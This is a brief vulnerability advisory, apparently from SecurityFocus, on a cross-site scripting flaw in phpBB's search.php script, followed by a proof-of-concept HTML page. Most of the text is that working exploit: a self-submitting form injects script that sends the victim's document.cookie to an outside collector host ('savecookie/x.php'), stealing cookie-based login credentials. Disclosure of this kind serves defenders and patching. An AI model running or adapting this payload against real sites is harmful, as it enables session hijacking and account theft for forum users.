source: http://www.securityfocus.com/bid/6311/info

phpBB is vulnerable to cross site scripting attacks. This is due to insufficient santization of user-supplied input. The problem is located in the search.php script. This issue may be exploited by an attacker to steal a legitimate users cookie-based authentication credentials.

<html>
<body>
<form method="post" name="search"
action="http://target/search.php?mode=searchuser">
<input type="hidden" name="search_username" value=""/>

</form>
<SCRIPT>
search.search_username.value='Http://savecookie/x.php?Cookie="><script>location=search.search_username.value+document.cookie;</script\>';
document.search.submit();
</script>
</body>
</html>